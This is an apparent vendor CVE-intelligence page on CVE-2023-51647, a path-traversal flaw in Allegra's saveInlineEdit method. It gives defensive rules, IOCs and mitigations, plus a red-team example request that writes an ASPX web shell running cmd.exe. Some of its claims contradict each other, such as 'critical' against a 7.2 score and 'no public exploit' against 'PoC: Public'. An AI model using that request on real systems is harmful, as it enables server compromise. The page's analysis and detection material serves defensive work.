☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 7.2 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-22
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-51647

CVE-2023-51647 Remote Code Execution in Allegra
📅 PUBLISHED: 2024-11-22 20:05 UTC 🔄 UPDATED: 2026-08-12 09:03 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.83%
👁️
0.83% probability
20.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 7.2
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
7.2
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-51647 is a critical directory traversal vulnerability in Allegra, a project management and collaboration platform. The flaw resides in the saveInlineEdit method, which fails to properly validate user-supplied paths before using them in file operations. This allows an authenticated attacker (or an attacker who bypasses authentication) to traverse directories and write arbitrary files, leading to remote code execution (RCE) in the context of the LOCAL SERVICE account. The vulnerability was reported via ZDI (ZDI-CAN-22528) and carries a CVSS score of 7.2 (High). No public exploit code or patch is currently available, making this a high-priority zero-day for organizations using Allegra.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects the proprietary Allegra application, which is typically deployed as a standalone web application or service. Organizations should verify their Allegra deployment version and apply any vendor-supplied mitigations immediately.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 7.2 (High)
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: Low (PR:L) – Authentication is required, but can be bypassed.
  • User Interaction: None (UI:N) – No user action needed.
  • Scope: Unchanged (S:U) – Vulnerability does not affect other components.
  • Confidentiality Impact: High (C:H) – Full file read access.
  • Integrity Impact: High (I:H) – Arbitrary file write.
  • Availability Impact: High (A:H) – Code execution can disrupt service.

Threat Level: Critical for unpatched systems. The ability to bypass authentication and execute code as LOCAL SERVICE makes this a severe risk, especially in multi-tenant or enterprise environments.

Deep Dive & Mechanics

The vulnerability exists in the saveInlineEdit method of Allegra. This method is designed to handle inline editing of files or records, but it improperly trusts user-supplied path parameters. The core issue is a classic path traversal (CWE-22) combined with a lack of input validation.

Attack Flow:

  1. Authentication Bypass: The attacker first exploits a separate weakness (not detailed in the CVE) to bypass authentication, or uses valid low-privilege credentials.
  2. Path Traversal: The attacker sends a crafted HTTP request to the saveInlineEdit endpoint with a path parameter containing directory traversal sequences (e.g., ../../../windows/system32/evil.dll).
  3. File Write: The application uses this path directly in a file write operation without sanitization, allowing the attacker to write arbitrary content (e.g., a malicious DLL or script) to any location the LOCAL SERVICE account can write to.
  4. Code Execution: The attacker then triggers execution of the written file (e.g., via a scheduled task, service restart, or DLL hijacking), achieving RCE as LOCAL SERVICE.

Why LOCAL SERVICE Matters: The LOCAL SERVICE account has limited privileges but can write to certain system directories (e.g., %WINDIR%\Temp, %WINDIR%\System32\Tasks). This is sufficient for persistence and lateral movement.

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable pattern. The vulnerable code likely resembles:

// VULNERABLE CODE (Conceptual)
function saveInlineEdit(req, res) {
    const userPath = req.body.path; // e.g., "../../../evil.txt"
    const content = req.body.content;
    // No validation of userPath
    fs.writeFileSync(userPath, content);
    res.send("Saved");
}

A patched version would validate the path:

// PATCHED CODE (Conceptual)
const path = require('path');
function saveInlineEdit(req, res) {
    const userPath = req.body.path;
    const content = req.body.content;
    // Resolve and restrict to allowed base directory
    const baseDir = path.resolve('/var/allegra/data');
    const fullPath = path.resolve(baseDir, userPath);
    if (!fullPath.startsWith(baseDir)) {
        return res.status(403).send("Forbidden");
    }
    fs.writeFileSync(fullPath, content);
    res.send("Saved");
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • Access to an Allegra instance (authenticated or via bypass).
  • Knowledge of the target file system (e.g., Windows paths).

Exploitation Steps:

  1. Bypass Authentication (if needed): Use a known authentication bypass technique (e.g., session manipulation, default credentials).
  2. Craft Payload: Create a malicious ASPX web shell or DLL.
  3. Send Traversal Request:
    POST /api/saveInlineEdit HTTP/1.1
    Host: target.allegra.com
    Content-Type: application/json
    Authorization: Bearer <token>
    
    {
      "path": "../../../inetpub/wwwroot/shell.aspx",
      "content": "<%@ Page Language=\"C#\" %><% Response.Write(System.Diagnostics.Process.Start(\"cmd.exe\",\"/c whoami\").StandardOutput.ReadToEnd()); %>"
    }
    
  4. Trigger Execution: Access the uploaded shell via http://target.allegra.com/shell.aspx.
  5. Escalate Privileges: Use LOCAL SERVICE to attempt privilege escalation (e.g., via Token Impersonation or UAC bypass).

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team (Defensive)

Detection & Response:

  • Monitor for anomalous file writes to web-accessible directories (e.g., wwwroot, uploads).
  • Alert on directory traversal patterns in HTTP requests (e.g., ../, ..\\).
  • Restrict the LOCAL SERVICE account's write permissions to only necessary directories.
  • Enable file integrity monitoring (FIM) on critical system paths.

Hunting Queries:

  • Search for saveInlineEdit in web server logs.
  • Look for processes spawned by LOCAL SERVICE that are unusual (e.g., cmd.exe, powershell.exe).

Indicators of Compromise (IOCs)

Type Indicator Description
Network POST /api/saveInlineEdit with path containing ../ Malicious traversal request
File shell.aspx, evil.dll, malicious.ps1 in unexpected directories Uploaded payloads
Process cmd.exe or powershell.exe spawned by AllegraService.exe Post-exploitation activity
Registry HKLM\SYSTEM\CurrentControlSet\Services\Allegra modified Persistence via service
Log Event ID 4688 (Windows) with LOCAL SERVICE as creator Suspicious process creation

Detection Engineering

YARA Rule

rule CVE_2023_51647_Allegra_Traversal {
    meta:
        description = "Detects directory traversal attempts targeting Allegra saveInlineEdit"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-51647"
    strings:
        $traversal1 = "saveInlineEdit"
        $traversal2 = "../"
        $traversal3 = "..\\"
        $path_param = "path"
    condition:
        all of ($traversal*) and #path_param > 0
}

Sigma Rule

title: CVE-2023-51647 Allegra Directory Traversal
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with path traversal in Allegra saveInlineEdit endpoint
author: Valters IT
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/saveInlineEdit'
        cs-uri-query|contains: 
            - '../'
            - '..\\'
    condition: selection
falsepositives:
    - Legitimate use of relative paths (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-51647 Allegra Directory Traversal"; flow:to_server,established; content:"POST"; http_method; content:"/api/saveInlineEdit"; http_uri; content:"../"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate Affected Systems: If possible, disconnect Allegra servers from the network until a patch is available.
  2. Apply Virtual Patching: Use a WAF (e.g., ModSecurity) to block requests containing ../ or ..\\ in the path parameter.
  3. Restrict LOCAL SERVICE: Limit write permissions for the LOCAL SERVICE account to only the Allegra data directory.
  4. Monitor Logs: Enable detailed logging for web requests and file system changes.

Long-Term Fix:

  • Vendor must release a patch that validates and sanitizes user-supplied paths.
  • Implement input validation and use a whitelist of allowed directories.
  • Consider upgrading to a supported version of Allegra if available.

Workaround:

  • Disable the saveInlineEdit feature if not essential.
  • Use application-level firewalls to inspect and block traversal patterns.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2023-51647

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Allegra"
http.favicon.hash:123456789

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-51647/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.